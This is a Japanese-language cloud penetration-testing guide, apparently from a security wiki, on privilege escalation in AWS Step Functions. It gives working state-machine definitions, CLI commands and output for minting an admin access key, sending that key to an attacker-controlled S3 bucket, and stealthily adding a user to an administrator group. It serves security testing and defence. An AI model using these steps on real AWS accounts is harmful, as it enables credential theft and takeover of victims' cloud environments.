Step Functions
このAWSサービスに関する詳細情報は、以下を確認してください:
AWS - Step Functions Enum タスクリソース
これらの特権昇格技術は、希望する特権昇格アクションを実行するために、いくつかのAWSステップ関数リソースを使用する必要があります。
可能なすべてのアクションを確認するには、自分のAWSアカウントに移動し、使用したいアクションを選択して、そのパラメータを確認できます。例えば:
または、API AWSドキュメントに移動して、各アクションのドキュメントを確認することもできます:
states:TestState
& iam:PassRole
**states:TestState
および iam:PassRole
**の権限を持つ攻撃者は、既存のステートマシンを作成または更新することなく、任意のステートをテストし、任意のIAMロールをそれに渡すことができ、ロールの権限を持つ他のAWSサービスへの不正アクセスを可能にします。これらの権限が組み合わさることで、ワークフローの操作からデータの変更、データ漏洩、リソースの操作、特権昇格に至るまで、広範な不正行為が引き起こされる可能性があります。
Copy aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
以下の例は、これらの権限とAWS環境の許可されたロールを利用して、admin
ユーザーのためにアクセスキーを作成する状態をテストする方法を示しています。この許可されたロールには、状態が iam:CreateAccessKey
アクションを実行できるようにする高権限ポリシー(例えば、 arn:aws:iam::aws:policy/AdministratorAccess
)が関連付けられている必要があります:
Copy {
"Type" : "Task" ,
"Parameters" : {
"UserName" : "admin"
} ,
"Resource" : "arn:aws:states:::aws-sdk:iam:createAccessKey" ,
"End" : true
}
Copy aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
{
"output" : "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}" ,
"status" : "SUCCEEDED"
}
潜在的な影響 : ワークフローの不正実行と操作、機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。
states:CreateStateMachine
& iam:PassRole
& (states:StartExecution
| states:StartSyncExecution
)
states:CreateStateMachine
と iam:PassRole
を持つ攻撃者は、ステートマシンを作成し、任意のIAMロールを提供することができ、そのロールの権限を持つ他のAWSサービスへの不正アクセスを可能にします。前の特権昇格技術(states:TestState
& iam:PassRole
)とは異なり、これは自動的には実行されず、ステートマシン上での実行を開始するために states:StartExecution
または states:StartSyncExecution
の権限が必要です(states:StartSyncExecution
は 標準ワークフローには利用できず、 表現ステートマシンのみに利用可能です)。
Copy # Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration < enabled = true | false > ] [--publish | --no-publish] [--version-description < value > ]
# Start a state machine execution
aws states start-execution --state-machine-arn < valu e > [--name < valu e > ] [--input < valu e > ] [--trace-header < valu e > ]
# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn < valu e > [--name < valu e > ] [--input < valu e > ] [--trace-header < valu e > ]
以下の例は、admin
ユーザーのアクセスキーを作成し、このアクセスキーを攻撃者が制御する S3 バケットに流出させるステートマシンを作成する方法を示しています。これらの権限と AWS 環境の許可されたロールを利用しています。この許可されたロールには、ステートマシンが iam:CreateAccessKey
および s3:putObject
アクションを実行できるようにする高権限ポリシー(例: arn:aws:iam::aws:policy/AdministratorAccess
)が関連付けられている必要があります。
stateMachineDefinition.json :
Copy {
"Comment" : "Malicious state machine to create IAM access key and upload to S3" ,
"StartAt" : "CreateAccessKey" ,
"States" : {
"CreateAccessKey" : {
"Type" : "Task" ,
"Resource" : "arn:aws:states:::aws-sdk:iam:createAccessKey" ,
"Parameters" : {
"UserName" : "admin"
} ,
"ResultPath" : "$.AccessKeyResult" ,
"Next" : "PrepareS3PutObject"
} ,
"PrepareS3PutObject" : {
"Type" : "Pass" ,
"Parameters" : {
"Body.$" : "$.AccessKeyResult.AccessKey" ,
"Bucket" : "attacker-controlled-S3-bucket" ,
"Key" : "AccessKey.json"
} ,
"ResultPath" : "$.S3PutObjectParams" ,
"Next" : "PutObject"
} ,
"PutObject" : {
"Type" : "Task" ,
"Resource" : "arn:aws:states:::aws-sdk:s3:putObject" ,
"Parameters" : {
"Body.$" : "$.S3PutObjectParams.Body" ,
"Bucket.$" : "$.S3PutObjectParams.Bucket" ,
"Key.$" : "$.S3PutObjectParams.Key"
} ,
"End" : true
}
}
}
Copy aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn" : "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine" ,
"creationDate" : "2024-07-09T20:29:35.381000+02:00"
}
コマンド は、以前に作成したステートマシンの 実行を開始 するために実行されました:
Copy aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate" : "2024-07-09T20:33:35.466000+02:00"
}
攻撃者が制御するS3バケットは、被害者アカウントからのs3:PutObjectアクションを受け入れる権限を持っている必要があります。
潜在的な影響 : ワークフローの不正実行と操作、機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。
states:UpdateStateMachine
& (必ずしも必要ではない) iam:PassRole
states:UpdateStateMachine
権限を持つ攻撃者は、ステートマシンの定義を変更でき、特権昇格につながる追加の隠れたステートを追加することができます。このようにして、正当なユーザーがステートマシンの実行を開始すると、この新しい悪意のある隠れたステートが実行され、特権昇格が成功します。
ステートマシンに関連付けられたIAMロールがどれだけ許可的であるかによって、攻撃者は2つの状況に直面します。
許可的なIAMロール : ステートマシンに関連付けられたIAMロールがすでに許可的である場合(例えば、arn:aws:iam::aws:policy/AdministratorAccess
ポリシーが添付されている場合)、特権を昇格させるために**iam:PassRole
** 権限は必要ありません。ステートマシンの定義を更新する必要がないため、十分です。
非許可的なIAMロール : 前のケースとは対照的に、ここでは攻撃者は**iam:PassRole
** 権限も必要です。ステートマシンの定義を変更するだけでなく、ステートマシンに許可的なIAMロールを関連付ける必要があるためです。
Copy aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration < enabled = true | false > ] [--publish | --no-publish] [--version-description < value > ]
以下の例は、HelloWorld Lambda関数を呼び出す正当なステートマシンを更新し、ユーザー**unprivilegedUser
を administrator
** IAMグループに追加する追加のステートを加える方法を示しています。このようにして、正当なユーザーが更新されたステートマシンの実行を開始すると、この新しい悪意のあるステルスステートが実行され、特権昇格が成功します。
ステートマシンに許可されたIAMロールが関連付けられていない場合、許可されたIAMロールを関連付けるためにIAMロールを更新するために**iam:PassRole
権限も必要です(例えば、 arn:aws:iam::aws:policy/AdministratorAccess
**ポリシーが添付されたもの)。
正当なステートマシン 悪意のある更新されたステートマシン
Copy {
"Comment" : "Hello world from Lambda state machine" ,
"StartAt" : "Start PassState" ,
"States" : {
"Start PassState" : {
"Type" : "Pass" ,
"Next" : "LambdaInvoke"
} ,
"LambdaInvoke" : {
"Type" : "Task" ,
"Resource" : "arn:aws:states:::lambda:invoke" ,
"Parameters" : {
"FunctionName" : "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
} ,
"Next" : "End PassState"
} ,
"End PassState" : {
"Type" : "Pass" ,
"End" : true
}
}
}
Copy {
"Comment" : "Hello world from Lambda state machine" ,
"StartAt" : "Start PassState" ,
"States" : {
"Start PassState" : {
"Type" : "Pass" ,
"Next" : "LambdaInvoke"
} ,
"LambdaInvoke" : {
"Type" : "Task" ,
"Resource" : "arn:aws:states:::lambda:invoke" ,
"Parameters" : {
"FunctionName" : "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
} ,
"Next" : "AddUserToGroup"
} ,
"AddUserToGroup" : {
"Type" : "Task" ,
"Parameters" : {
"GroupName" : "administrator" ,
"UserName" : "unprivilegedUser"
} ,
"Resource" : "arn:aws:states:::aws-sdk:iam:addUserToGroup" ,
"Next" : "End PassState"
} ,
"End PassState" : {
"Type" : "Pass" ,
"End" : true
}
}
}
コマンド 実行して 正当なステートマシン を 更新 する:
Copy aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate" : "2024-07-10T20:07:10.294000+02:00" ,
"revisionId" : "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
潜在的影響 : ワークフローの不正実行と操作、機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。